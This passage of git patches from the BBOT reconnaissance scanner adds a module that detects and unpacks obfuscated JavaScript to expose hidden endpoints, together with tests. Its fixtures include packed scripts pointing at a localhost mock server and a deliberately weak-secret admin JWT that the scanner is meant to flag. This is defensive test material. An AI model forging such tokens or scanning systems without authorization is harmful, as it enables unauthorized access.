condition: + any of them +} +""" + _extract_regex = re.compile( + r"eval\s*\(\s*function\s*\(\s*p\s*,\s*a\s*,\s*c\s*,\s*k\s*,\s*e\s*,\s*\w\s*\)" + r".*?\}\s*\(\s*'(.*?)'\s*,\s*(\d+)\s*,\s*(\d+)\s*,\s*'(.*?)'\s*\.split\s*\(\s*'\|'\s*\)", + re.DOTALL, + ) + + async def unpack(self, event, match): + result = await self.helpers.run_in_executor_cpu(self._decode, event.body) + if result: + await self.emit_unlocked(event, result) + + @classmethod + def _decode(cls, body): + """Reverse the packer's base-N keyword substitution. CPU-bound; runs off the event loop.""" + m = cls._extract_regex.search(body) + if not m: + return "" + + payload, radix, count, keywords_str = m.group(1), int(m.group(2)), int(m.group(3)), m.group(4) + keywords = keywords_str.split("|") + + def base_n(value, base): + chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" + if value < base: + return chars[value] + return base_n(value // base, base) + chars[value % base] + + lookup = {} + # count comes from the page, so never iterate past the keywords we actually have + for i in range(min(count, len(keywords))): + key = base_n(i, radix) + if keywords[i]: + lookup[key] = keywords[i] + + def replacer(m): + word = m.group(0) + return lookup.get(word, word) + + result = re.sub(r"\b\w+\b", replacer, payload) + result = result.encode("utf-8").decode("unicode_escape", errors="replace") + return result if result.strip() else "" + + +class ObfuscatorIOUnpacker(BaseUnpacker): + name = "obfuscator-io" + yara_rule = """ +rule obfuscator_io +{ + strings: + $a = /var _0x[a-f0-9]{4,6}\\s*=\\s*\\[/ + condition: + any of them +} +""" + _array_regex = re.compile(r"var\s+(_0x[a-f0-9]+)\s*=\s*\[(.*?)\];", re.DOTALL) + + async def unpack(self, event, match): + result = await self.helpers.run_in_executor_cpu(self._deobfuscate, event.body) + if result: + await self.emit_unlocked(event, result) + + @classmethod + def _deobfuscate(cls, body): + """Inline the string-array lookups back into the source. CPU-bound; runs off the event loop.""" + arr_match = cls._array_regex.search(body) + if not arr_match: + return "" + + arr_name = arr_match.group(1) + string_array = re.findall(r"'([^']*)'", arr_match.group(2)) + + # find and apply rotation + rot_pattern = ( + r"\(function\s*\(\s*\w+\s*,\s*\w+\s*\)\s*\{.*?push.*?shift.*?\}\s*\(\s*" + + re.escape(arr_name) + + r"\s*,\s*(0x[a-f0-9]+|\d+)\s*\)" + ) + rot_match = re.search(rot_pattern, body, re.DOTALL) + if rot_match: + amount_str = rot_match.group(1) + amount = int(amount_str, 16) if amount_str.startswith("0x") else int(amount_str) + # rotation is cyclic, so reduce the page-supplied amount before applying it + if string_array: + amount %= len(string_array) + string_array = string_array[amount:] + string_array[:amount] + + # find accessor function name + accessor_pattern = ( + r"var\s+(_0x[a-f0-9]+)\s*=\s*function\s*\(\s*\w+\s*,\s*\w+\s*\)\s*\{" + r"[^}]*" + re.escape(arr_name) + r"\s*\[" + ) + accessor_match = re.search(accessor_pattern, body) + if not accessor_match: + return "" + + accessor_name = accessor_match.group(1) + + def replace_accessor(m): + idx_str = m.group(1) + idx = int(idx_str, 16) if idx_str.startswith("0x") else int(idx_str) + if 0 <= idx < len(string_array): + return f"'{string_array[idx]}'" + return m.group(0) + + result = re.sub( + re.escape(accessor_name) + r"\(\s*'(0x[a-f0-9]+|\d+)'\s*\)", + replace_accessor, + body, + ) + return result if result != body else "" + + +class NextJSUnpacker(BaseUnpacker): + name = "nextjs" + yara_rule = """ +rule nextjs_manifest +{ + strings: + $a = "self.__BUILD_MANIFEST" + $b = "__NEXT_DATA__" + condition: + any of them +} +""" + _nextdata_regex = re.compile(r']*>(.*?)', re.DOTALL) + _route_regex = re.compile(r'"(/[^"]*)"') + _chunk_regex = re.compile(r'"(static/chunks/[^"]*)"') + + async def unpack(self, event, match): + body = event.body + base_url = event.data.get("url", "") + + # __NEXT_DATA__ in HTML: extract buildId, emit _buildManifest.js URL + nd_match = await self.helpers.re.search(self._nextdata_regex, body) + if nd_match: + try: + next_data = json.loads(nd_match.group(1)) + except (json.JSONDecodeError, ValueError): + return + build_id = next_data.get("buildId") + if build_id: + manifest_path = f"/_next/static/{build_id}/_buildManifest.js" + manifest_url = urljoin(base_url, manifest_path) + await self.module.emit_event( + manifest_url, + "URL_UNVERIFIED", + parent=event, + tags=["js-unpacked"], + context="{module} extracted Next.js buildId and discovered {event.type}: {event.data}", + ) + return + + # _buildManifest.js: extract routes and chunk paths + if "self.__BUILD_MANIFEST" not in body: + return + + routes = set(await self.helpers.re.findall(self._route_regex, body)) + chunks = set(await self.helpers.re.findall(self._chunk_regex, body)) + + for route in routes: + if route.startswith("/_") or route == "/": + continue + route_url = urljoin(base_url, route) + await self.module.emit_event( + route_url, + "URL_UNVERIFIED", + parent=event, + tags=["js-unpacked"], + context="{module} extracted Next.js route {event.type}: {event.data}", + ) + + for chunk in chunks: + chunk_url = urljoin(base_url, f"/_next/{chunk}") + await self.module.emit_event( + chunk_url, + "URL_UNVERIFIED", + parent=event, + tags=["js-unpacked"], + context="{module} extracted Next.js chunk {event.type}: {event.data}", + ) + + +class WebpackUnpacker(BaseUnpacker): + name = "webpack" + yara_rule = """ +rule webpack_bundle +{ + strings: + $a = "webpackJsonp" + $b = "webpackChunk" + $c = "__webpack_require__" + condition: + any of them +} +""" + _string_regex = re.compile(r"""(?:"([^"\\]{2,}(?:\\.[^"\\]*)*)"|'([^'\\]{2,}(?:\\.[^'\\]*)*)')""") + _noise = frozenset({"use strict", "object", "function", "undefined", "string", "number", "boolean"}) + + async def unpack(self, event, match): + combined = await self.helpers.run_in_executor_cpu(self._extract_strings, event.body) + if combined: + await self.emit_unlocked(event, combined) + + @classmethod + def _extract_strings(cls, body): + """Flatten the bundle's string literals. CPU-bound; runs off the event loop.""" + strings = [] + for m in cls._string_regex.finditer(body): + s = m.group(1) or m.group(2) + if s and s not in cls._noise and not s.startswith("__"): + strings.append(s) + return "\n".join(strings) + + +class js_unpacker(BaseModule): + watched_events = ["HTTP_RESPONSE"] + produced_events = ["HTTP_RESPONSE", "URL_UNVERIFIED", "FINDING"] + flags = ["active", "safe", "web"] + meta = { + "description": "Detect and unpack JavaScript obfuscation/packing frameworks", + "created_date": "2026-06-05", + "author": "@liquidsec", + } + _module_threads = 4 + + unpacker_classes = [ + SourceMapUnpacker, + DeanEdwardsUnpacker, + ObfuscatorIOUnpacker, + NextJSUnpacker, + WebpackUnpacker, + ] + + async def setup(self): + self.unpackers_by_rule = {} + self.detections = [] + combined_rules = [] + for cls in self.unpacker_classes: + unpacker = cls(self) + rule_name = self._extract_rule_name(unpacker.yara_rule) + self.unpackers_by_rule[rule_name] = unpacker + combined_rules.append(unpacker.yara_rule) + self.yara_rules = yara.compile(source="\n".join(combined_rules)) + return True + + @staticmethod + def _extract_rule_name(yara_source): + for line in yara_source.splitlines(): + line = line.strip() + if line.startswith("rule "): + return line.split()[1].rstrip("{").strip() + raise ValueError(f"No rule name found in YARA source: {yara_source[:80]}") + + async def filter_event(self, event): + if not event.body: + return False, "no response body" + content_type = event.data.get("content_type", "") + if not any(t in content_type for t in ("javascript", "text/", "json", "xml")): + return False, f"non-text content type: {content_type}" + return True + + async def handle_event(self, event): + body = event.body + url = event.data.get("url", "unknown") + matches = await self.helpers.run_in_executor_cpu(self.yara_rules.match, data=body) + if not matches: + return + for match in matches: + unpacker = self.unpackers_by_rule.get(match.rule) + if unpacker is None: + continue + self.verbose(f"Detected {unpacker.name} in {url}") + self.detections.append((unpacker.name, url)) + try: + await unpacker.unpack(event, match) + except Exception as e: + self.warning(f"{unpacker.name} unpacker error on {url}: {e}") diff --git a/bbot/presets/web/js-audit.yml b/bbot/presets/web/js-audit.yml index a408f40786..325f0597bc 100644 --- a/bbot/presets/web/js-audit.yml +++ b/bbot/presets/web/js-audit.yml @@ -8,6 +8,7 @@ modules: - retirejs - robots - wayback + - js_unpacker config: modules: diff --git a/bbot/test/test_step_1/test_events.py b/bbot/test/test_step_1/test_events.py index c91ce0015a..dbc2197561 100644 --- a/bbot/test/test_step_1/test_events.py +++ b/bbot/test/test_step_1/test_events.py @@ -699,6 +699,21 @@ async def test_events(events, helpers): assert reconstituted_event.type == "HTTP_RESPONSE" assert reconstituted_event.parent_id == scan.root_event.id + # a re-emitted response is distinguished by a marker on the event rather than in its data, + # and has to keep that distinct id across a json round trip + assert "reemit_source" not in http_response.json() + unpacked_response = scan.make_event(blasthttp_response, "HTTP_RESPONSE", parent=scan.root_event) + assert unpacked_response.id == http_response.id + unpacked_response.reemit_source = "js_unpacker" + assert unpacked_response.id != http_response.id + assert "_reemit_source" not in unpacked_response.data + unpacked_json = unpacked_response.json() + assert unpacked_json["reemit_source"] == "js_unpacker" + assert "_reemit_source" not in unpacked_json["data_json"] + reconstituted_unpacked = event_from_json(unpacked_json) + assert reconstituted_unpacked.reemit_source == "js_unpacker" + assert reconstituted_unpacked.id == unpacked_response.id + event_1 = scan.make_event("127.0.0.1", parent=scan.root_event) event_2 = scan.make_event("127.0.0.2", parent=event_1) event_3 = scan.make_event("127.0.0.3", parent=event_2) diff --git a/bbot/test/test_step_2/module_tests/test_module_js_unpacker.py b/bbot/test/test_step_2/module_tests/test_module_js_unpacker.py new file mode 100644 index 0000000000..75617026df --- /dev/null +++ b/bbot/test/test_step_2/module_tests/test_module_js_unpacker.py @@ -0,0 +1,279 @@ +import json + +from .base import ModuleTestBase +from bbot.modules.js_unpacker import DeanEdwardsUnpacker, ObfuscatorIOUnpacker +from bbot.test.worker import HTTPSERVER_PORT, HTTPSERVER_URL + + +def _use_worker_port(js): + """Point a fixture's baked-in URLs at this xdist worker's mock server. + + Dean Edwards carries its host as a packer keyword, so only the port is substituted there. + """ + return js.replace("http://127.0.0.1:8888", HTTPSERVER_URL).replace(":8888", f":{HTTPSERVER_PORT}") + + +# -- Realistic packed/obfuscated JS fixtures -- + +SOURCE_MAP_JS = r"""!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.MyLib=t():e.MyLib=t()}(self,(function(){return(()=>{"use strict";var e={d:(t,n)=>{for(var r in n)e.o(n,r)&&!e.o(t,r)&&Object.defineProperty(t,r,{enumerable:!0,get:n[r]})},o:(e,t)=>Object.prototype.hasOwnProperty.call(e,t)};var t={};e.d(t,{default:()=>n});const n={init:function(e){this.config=Object.assign({debug:!1,endpoint:"/api/v2/collect"},e)},track:function(e,t){this.queue.push({event:e,properties:t||{},timestamp:Date.now()})}};return t})()})); +//# sourceMappingURL=my-lib.min.js.map""" + +SOURCE_MAP_JSON = json.dumps( + { + "version": 3, + "file": "my-lib.min.js", + "sources": ["src/index.js", "src/tracker.js"], + "sourcesContent": [ + 'import { Tracker } from "./tracker";\nconst tracker = new Tracker({\n endpoint: "http://127.0.0.1:8888/analytics/collect",\n batchSize: 10,\n});\ntracker.init();\n', + 'export class Tracker {\n constructor(config) {\n this.endpoint = config.endpoint || "http://127.0.0.1:8888/fallback/collect";\n }\n flush() {\n navigator.sendBeacon(this.endpoint, JSON.stringify({ events: this.queue }));\n }\n}\n', + ], + "mappings": "AAAA", + } +) +SOURCE_MAP_JSON = _use_worker_port(SOURCE_MAP_JSON) + +# Dean Edwards packed JS. The payload "u://s:PORT/p/o.j" decodes via keyword +# substitution to "http://127.0.0.1:PORT/hidden/tracker.js": +# u(pos30)=http, s(pos28)=127.0.0.1, p(pos25)=hidden, o(pos24)=tracker, j(pos19)=js +# The ":PORT/" and "." separators stay literal (not word chars), so the port is substituted in. +DEAN_EDWARDS_JS = _use_worker_port( + r"""eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('v 9=["\\x6F\\x6E\\x6C\\x6F\\x61\\x64"];b[9[0]]=f(){v 3=h[9[1]]("r");3[9[2]]="";v 7=h[9[5]](9[4]);7[9[3]]="u://s:8888/p/o.j";h[9[6]][9[7]](7)};',32,32,'|||el|||||||_0x1a2b|||||function||document||js|analytics|cdn|static|loader|tracker|hidden|com|main|127.0.0.1|cdn2|http|var'.split('|'),0,{}))""" +) + +# obfuscator.io sample with a hidden API URL in the string array +OBFUSCATOR_IO_JS = _use_worker_port( + r"""var _0x4e2f=['querySelector','addEventListener','click','getAttribute','data-target','getElementById','style','display','none','block','http://127.0.0.1:8888/tracker/events','POST','Content-Type','application/json','fetch','method','DOMContentLoaded','complete','readyState'];(function(_0x2a8c13,_0x4e2f6d){var _0x3b1c04=function(_0x5d6e2a){while(--_0x5d6e2a){_0x2a8c13['push'](_0x2a8c13['shift']());}};_0x3b1c04(++_0x4e2f6d);}(_0x4e2f,0x7b));var _0x3b1c=function(_0x2a8c13,_0x4e2f6d){_0x2a8c13=_0x2a8c13-0x0;var _0x3b1c04=_0x4e2f[_0x2a8c13];return _0x3b1c04;};(function(){document[_0x3b1c('0x0')]('.nav-toggle')[_0x3b1c('0x1')](_0x3b1c('0x2'),function(){var _0x2ce9=this[_0x3b1c('0x3')](_0x3b1c('0x4'));document[_0x3b1c('0x5')](_0x2ce9)[_0x3b1c('0x6')][_0x3b1c('0x7')]=_0x3b1c('0x9');_0x3b1c('0xe')(_0x3b1c('0xa'),{_0x3b1c('0xf'):_0x3b1c('0xb')});});})();""" +) + +NEXTJS_MANIFEST_JS = """self.__BUILD_MANIFEST=function(s,c,a,e,d,b,f,g){return{__rewrites:{afterFiles:[],beforeFiles:[],fallback:[]},"/":["static/chunks/pages/index-8a3b2c1d.js"],"/about":[s,"static/chunks/pages/about-f4e7d6a2.js"],"/blog":[s,c,"static/chunks/pages/blog-1b9e3c5a.js"],"/blog/[slug]":[s,c,a,"static/chunks/pages/blog/[slug]-7d2f4e8b.js"],"/contact":[s,"static/chunks/pages/contact-3a6c9d1e.js"],"/dashboard":[s,c,e,"static/chunks/pages/dashboard-5e8b2f7d.js"],"/dashboard/settings":[s,c,e,d,"static/chunks/pages/dashboard/settings-9c4a1e6f.js"],"/api/health":[],"/_error":["static/chunks/pages/_error-2b5d8f3a.js"],sortedPages:["/","/about","/api/health","/blog","/blog/[slug]","/contact","/dashboard","/dashboard/settings","/_error"]}}("static/chunks/438-a2c7e4d1b3f89056.js","static/chunks/291-d5f8a1c3e7b24690.js","static/chunks/834-b7e2d4f6a8c31095.js","static/chunks/612-c9a3e5d7f1b48062.js","static/chunks/157-e1d3f5a7c9b20648.js"),self.__BUILD_MANIFEST_CB&&self.__BUILD_MANIFEST_CB();""" + +NEXTJS_HTML = """Blog

Blog

""" + +WEBPACK_JS = _use_worker_port( + """(window.webpackJsonp=window.webpackJsonp||[]).push([[3],{147:function(e,t,n){"use strict";n.r(t);var r=n(0),o=n(1),i=n(12);var u=function(){function e(t){this.baseUrl=t.baseUrl||"http://127.0.0.1:8888/api/v1",this.headers={"Content-Type":"application/json",Accept:"application/json"},t.apiKey&&(this.headers["X-API-Key"]=t.apiKey)}var t;return t=e,(n=[{key:"request",value:function(e,t,n){var r=this;return fetch(this.baseUrl+t,Object.assign({},{method:e,headers:this.headers}))}}])&&l(t.prototype,n),e}();t.default=u},12:function(e,t,n){"use strict";n.d(t,"a",(function(){return r}));var r=function(e){return"string"==typeof e&&e.length>0}}}]);""" +) + +# Plain JS with no packing +CLEAN_JS = """(function(){"use strict";var app={init:function(){document.addEventListener("DOMContentLoaded",function(){console.log("ready")})},render:function(el,data){el.innerHTML=data.map(function(item){return"
"+item.name+"
"}).join("")}};app.init()})();""" + + +class TestJsUnpacker(ModuleTestBase): + module_name = "js_unpacker" + targets = [HTTPSERVER_URL] + modules_overrides = ["http", "excavate", "js_unpacker"] + config_overrides = {"web": {"spider_distance": 2, "spider_depth": 4, "spider_links_per_page": 25}} + + async def setup_after_prep(self, module_test): + index_html = """ + + + + + + + Blog + ok""" + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/"}, + respond_args={"response_data": index_html}, + ) + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/js/packed.js"}, + respond_args={"response_data": DEAN_EDWARDS_JS, "content_type": "application/javascript"}, + ) + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/js/bundle.js"}, + respond_args={"response_data": WEBPACK_JS, "content_type": "application/javascript"}, + ) + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/js/obfuscated.js"}, + respond_args={"response_data": OBFUSCATOR_IO_JS, "content_type": "application/javascript"}, + ) + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/js/lib.min.js"}, + respond_args={"response_data": SOURCE_MAP_JS, "content_type": "application/javascript"}, + ) + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/js/my-lib.min.js.map"}, + respond_args={"response_data": SOURCE_MAP_JSON, "content_type": "application/json"}, + ) + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/_next/static/xK7rT2mN9pQ4wE6y/_buildManifest.js"}, + respond_args={"response_data": NEXTJS_MANIFEST_JS, "content_type": "application/javascript"}, + ) + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/js/clean.js"}, + respond_args={"response_data": CLEAN_JS, "content_type": "application/javascript"}, + ) + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/blog"}, + respond_args={"response_data": NEXTJS_HTML, "content_type": "text/html"}, + ) + + def check(self, module_test, events): + detections = module_test.module.detections + detected_names = {name for name, url in detections} + detected_urls = {url for name, url in detections} + + # -- Detection assertions -- + assert "dean-edwards" in detected_names, "Dean Edwards packer not detected" + assert "webpack" in detected_names, "Webpack bundle not detected" + assert "obfuscator-io" in detected_names, "obfuscator.io not detected" + assert "source-map" in detected_names, "Source map not detected" + assert "nextjs" in detected_names, "Next.js manifest not detected" + assert not any("clean.js" in u for u in detected_urls), "Clean JS should not trigger detection" + + # Next.js should detect both _buildManifest.js and __NEXT_DATA__ in HTML + nextjs_urls = {url for name, url in detections if name == "nextjs"} + assert any("blog" in u for u in nextjs_urls), "Next.js __NEXT_DATA__ not detected in /blog HTML" + assert any("_buildManifest.js" in u for u in nextjs_urls), "Next.js _buildManifest not detected" + + # -- End-to-end extraction assertions -- + # All hidden URLs point at the worker's mock server, so they stay in-scope + url_events = {e.data.get("url", e.data) for e in events if e.type == "URL_UNVERIFIED"} + + # Source map: excavate should find URLs from the original source + assert any("/analytics/collect" in str(u) for u in url_events), ( + "Source map: excavate didn't find /analytics/collect" + ) + assert any("/fallback/collect" in str(u) for u in url_events), ( + "Source map: excavate didn't find /fallback/collect" + ) + + # Dean Edwards: the hidden URL should survive into the unpacked body. + # Asserted on the body rather than on excavate's output because .js URLs are emitted + # internal, and only reach output modules if they get promoted for graph-importance. + # excavate's consumption of dean-edwards output is covered by TestJsUnpackerBadsecretsChain. + dean_edwards_bodies = [ + e.body + for e in events + if e.type == "HTTP_RESPONSE" and "js-unpacked" in e.tags and e.data["url"].endswith("/js/packed.js") + ] + assert any("/hidden/tracker.js" in b for b in dean_edwards_bodies), ( + f"Dean Edwards: /hidden/tracker.js missing from unpacked body: {dean_edwards_bodies}" + ) + + # obfuscator.io: excavate should find the API endpoint after deobfuscation + assert any("/tracker/events" in str(u) for u in url_events), ( + "obfuscator.io: excavate didn't find /tracker/events" + ) + + # Webpack: excavate should find the API base URL + assert any("/api/v1" in str(u) for u in url_events), "Webpack: excavate didn't find /api/v1" + + # the re-emit marker rides on the event, not inside the response data + unpacked = [e for e in events if e.type == "HTTP_RESPONSE" and "js-unpacked" in e.tags] + assert unpacked, "no unpacked HTTP_RESPONSE events were emitted" + assert all(e.reemit_source == "js_unpacker" for e in unpacked), ( + f"unpacked responses missing reemit_source: {[e.reemit_source for e in unpacked]}" + ) + assert not any("_reemit_source" in e.data for e in unpacked), "reemit marker leaked back into the event's data" + + # Next.js: should emit route URLs + assert any("/about" in str(u) for u in url_events), "Next.js: didn't emit /about route" + assert any("/contact" in str(u) for u in url_events), "Next.js: didn't emit /contact route" + assert any("/dashboard" in str(u) for u in url_events), "Next.js: didn't emit /dashboard route" + + +# JWT signed with "keyboard cat" (in badsecrets wordlist), packed with Dean Edwards +PACKED_JWT_JS = r"""eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0 1 = 1 || {};\n1.2 = "/3/4";\n1.5 = "6.7.8";\n1.9 = a() {\n 0 b = c.d("b");\n b.e = "f";\n g.h("9 i");\n};\nc.j("k", 1.9);',22,21,'var|Config|apiBase|api|v2|platformToken|eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9|eyJzdWIiOiJzdmMtdGVzdCIsImlhdCI6MTcxODAwMDAwMCwiZXhwIjoxNzQ5NTM2MDAwLCJyb2xlIjoiYWRtaW4ifQ|G3x7IT4oTz4LNpphnOEcFEuztBOE_zBSs1owpqDluFU|init|function|status|document|getElementById|textContent|connected|console|log|complete|addEventListener|DOMContentLoaded'.split('|'),0,{}))""" + +VULN_JWT = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJzdmMtdGVzdCIsImlhdCI6MTcxODAwMDAwMCwiZXhwIjoxNzQ5NTM2MDAwLCJyb2xlIjoiYWRtaW4ifQ.G3x7IT4oTz4LNpphnOEcFEuztBOE_zBSs1owpqDluFU" + + +class TestJsUnpackerBadsecretsChain(ModuleTestBase): + """js_unpacker -> excavate -> badsecrets: a packed JWT with a weak secret should produce a HIGH finding.""" + + module_name = "js_unpacker" + targets = [HTTPSERVER_URL] + modules_overrides = ["http", "excavate", "js_unpacker", "badsecrets"] + + async def setup_after_prep(self, module_test): + page_html = f"ok" + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/"}, + respond_args={"response_data": page_html}, + ) + + def check(self, module_test, events): + badsecrets_finding = any( + e.type == "FINDING" and "keyboard cat" in e.data["description"] and VULN_JWT in e.data["description"] + for e in events + ) + assert badsecrets_finding, "badsecrets should find 'keyboard cat' in unpacked JWT" + + excavate_jwt = any( + e.type == "FINDING" + and "JWT" in e.data["description"] + and "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" in e.data["description"] + for e in events + ) + assert excavate_jwt, "excavate should extract JWT from unpacked response" + + +def _cdn_map(marker): + return json.dumps({"version": 3, "sources": ["src/app.js"], "sourcesContent": [f"const marker = '{marker}';"]}) + + +class TestJsUnpackerSourceMapBlacklist(ModuleTestBase): + """Off-scope source maps are fetched, but blacklisted ones never are.""" + + module_name = "js_unpacker" + targets = [HTTPSERVER_URL] + blacklist = ["blocked-cdn.test"] + modules_overrides = ["http", "excavate", "js_unpacker"] + config_overrides = {"web": {"spider_distance": 1, "spider_depth": 2}} + allowed_map = "https://allowed-cdn.test/app.min.js.map" + blocked_map = "https://blocked-cdn.test/app.min.js.map" + + async def setup_after_prep(self, module_test): + index_html = ( + '' + ) + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/"}, + respond_args={"response_data": index_html}, + ) + for name, map_url in (("allowed", self.allowed_map), ("blocked", self.blocked_map)): + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": f"/js/{name}.js"}, + respond_args={ + "response_data": f"var a=1;\n//# sourceMappingURL={map_url}", + "content_type": "application/javascript", + }, + ) + module_test.blasthttp_mock.add_response(url=map_url, text=_cdn_map(f"{name}-map-marker")) + + def check(self, module_test, events): + finding_urls = {e.data["url"] for e in events if e.type == "FINDING"} + assert self.allowed_map in finding_urls, "off-scope (non-blacklisted) source map should still be fetched" + assert self.blocked_map not in finding_urls, "blacklisted source map should never be fetched" + unpacked_bodies = [e.body for e in events if e.type == "HTTP_RESPONSE" and "js-unpacked" in e.tags] + assert any("allowed-map-marker" in b for b in unpacked_bodies) + assert not any("blocked-map-marker" in b for b in unpacked_bodies) + + +def test_dean_edwards_ignores_inflated_keyword_count(): + """A page-supplied keyword count far beyond the keyword list must not change or stall decoding.""" + inflated = DEAN_EDWARDS_JS.replace("',32,32,'", "',32,99999999999999,'") + assert inflated != DEAN_EDWARDS_JS + expected = DeanEdwardsUnpacker._decode(DEAN_EDWARDS_JS) + assert "/hidden/tracker.js" in expected + assert DeanEdwardsUnpacker._decode(inflated) == expected + + +def test_obfuscator_io_reduces_rotation_amount(): + """A huge page-supplied rotation amount is applied modulo the array length.""" + amount = 3 * 10**15 + 1 + + def body(rotation): + return ( + "var _0xabcd=['aaa','bbb','ccc'];" + "(function(_0x1,_0x2){var f=function(n){while(--n){_0x1['push'](_0x1['shift']());}};f(++_0x2);}" + f"(_0xabcd,{hex(rotation)}));" + "var _0xacc=function(_0x1,_0x2){_0x1=_0x1-0x0;var r=_0xabcd[_0x1];return r;};" + "x(_0xacc('0x0'));" + ) + + assert "x('bbb')" in ObfuscatorIOUnpacker._deobfuscate(body(amount)) + assert "x('aaa')" in ObfuscatorIOUnpacker._deobfuscate(body(3 * 10**15)) From 440aacb4bcb1cedd598b0291319ce22c96cef30a Mon Sep 17 00:00:00 2001 From: Paul Mueller Date: Thu, 24 Sep 2026 08:39:12 -0400 Subject: [PATCH 100/256] Set url_extension on HTTP_RESPONSE events (#3406) * fix(events): set url_extension on HTTP_RESPONSE HTTP_RESPONSE.sanitize_data() overrode URL_UNVERIFIED's without extracting the URL file extension, so url_extension was never set. Modules that filter on it (paramminer) let every static-file URL through, fuzzing PDFs, DOCXs and ZIPs with a full binary search across the wordlist. Extract the extension logic into DictEvent._set_url_extension() rather than adding a third copy, and call it from HTTP_RESPONSE. Populating url_extension would also newly subject HTTP_RESPONSE to the url_extension_special gate, hiding .js responses from every module that doesn't set accept_url_special. Add _url_special_filterable so events representing already-retrieved content stay exempt. * Test url_extension gating behavior instead of class attributes --- bbot/core/event/base.py | 40 +++++++++++-------- bbot/modules/base.py | 2 +- bbot/test/test_step_1/test_events.py | 21 ++++++++++ bbot/test/test_step_1/test_modules_basic.py | 36 +++++++++++++++++ .../test_module_paramminer_getparams.py | 8 ++++ 5 files changed, 89 insertions(+), 18 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 0880180b63..f47144de22 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -142,6 +142,9 @@ class BaseEvent: _discovery_context_regex = re.compile(r"\{(?:event|module)[^}]*\}") # Stats class for the status line — override in subclasses for custom formatting _stats_class = None + # Whether this event is subject to `url_extension_special` distribution filtering. + # False for events representing already-retrieved content, whose consumers analyze the body. + _url_special_filterable = True # using __slots__ dramatically reduces memory usage in large scans __slots__ = [ @@ -1168,18 +1171,24 @@ def sanitize_data(self, data): class DictEvent(BaseEvent): __slots__ = ["url_extension"] + def _set_url_extension(self): + """Extract the file extension from self.parsed_url and record it as an attribute and a tag.""" + parsed_url = getattr(self, "parsed_url", None) + if parsed_url is None: + return + url_path = parsed_url.path + if not url_path: + return + extension = get_file_extension(str(url_path).lower()) + if extension: + self.url_extension = extension + self.add_tag(f"extension-{extension}") + def sanitize_data(self, data): url = data.get("url", "") if url: self.parsed_url = self.validators.validate_url_parsed(url) - # extract url_extension from any dict event with a URL - url_path = self.parsed_url.path - if url_path: - parsed_path_lower = str(url_path).lower() - extension = get_file_extension(parsed_path_lower) - if extension: - self.url_extension = extension - self.add_tag(f"extension-{extension}") + self._set_url_extension() return data def _data_load(self, data): @@ -1450,15 +1459,7 @@ def sanitize_data(self, data): self.parsed_url = self.validators.validate_url_parsed(url) data["url"] = self.parsed_url.geturl() - # special handling of URL extensions - if self.parsed_url is not None: - url_path = self.parsed_url.path - if url_path: - parsed_path_lower = str(url_path).lower() - extension = get_file_extension(parsed_path_lower) - if extension: - self.url_extension = extension - self.add_tag(f"extension-{extension}") + self._set_url_extension() # tag as dir or endpoint if str(self.parsed_url.path).endswith("/"): @@ -1707,6 +1708,10 @@ def _words(self): class HTTP_RESPONSE(URL_UNVERIFIED): + # the response body has already been retrieved, so content-analysis modules + # should still receive it even for special extensions like .js + _url_special_filterable = False + def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) # count number of consecutive redirects @@ -1783,6 +1788,7 @@ def sanitize_data(self, data): url = data.get("url", "") self.parsed_url = self.validators.validate_url_parsed(url) data["url"] = self.parsed_url.geturl() + self._set_url_extension() if not "raw_header" in data: raise ValueError("raw_header is required for HTTP_RESPONSE events") diff --git a/bbot/modules/base.py b/bbot/modules/base.py index 5a9912ef19..ae77a0cd0d 100644 --- a/bbot/modules/base.py +++ b/bbot/modules/base.py @@ -871,7 +871,7 @@ def _event_precheck(self, event): return False, "it did not meet target_only filter criteria" # limit events with special URL extensions (e.g. .js) to modules that opt in - if not self.accept_url_special: + if not self.accept_url_special and event._url_special_filterable: extension = getattr(event, "url_extension", "") if extension in self.scan.url_extension_special: return ( diff --git a/bbot/test/test_step_1/test_events.py b/bbot/test/test_step_1/test_events.py index dbc2197561..ed40105901 100644 --- a/bbot/test/test_step_1/test_events.py +++ b/bbot/test/test_step_1/test_events.py @@ -175,6 +175,27 @@ async def test_events(events, helpers): ) assert getattr(wp_no_ext, "url_extension", "NOT_SET") == "NOT_SET" + # url_extension: HTTP_RESPONSE events + # modules that filter on url_extension (e.g. paramminer, lightfuzz) rely on this being set + def _http_response(url): + return scan.make_event( + {"url": url, "raw_header": "HTTP/1.1 200 OK\r\n\r\n"}, + "HTTP_RESPONSE", + dummy=True, + ) + + hr_pdf = _http_response("https://evilcorp.com/files/document.pdf?foo=bar") + assert getattr(hr_pdf, "url_extension", "") == "pdf" + assert "extension-pdf" in 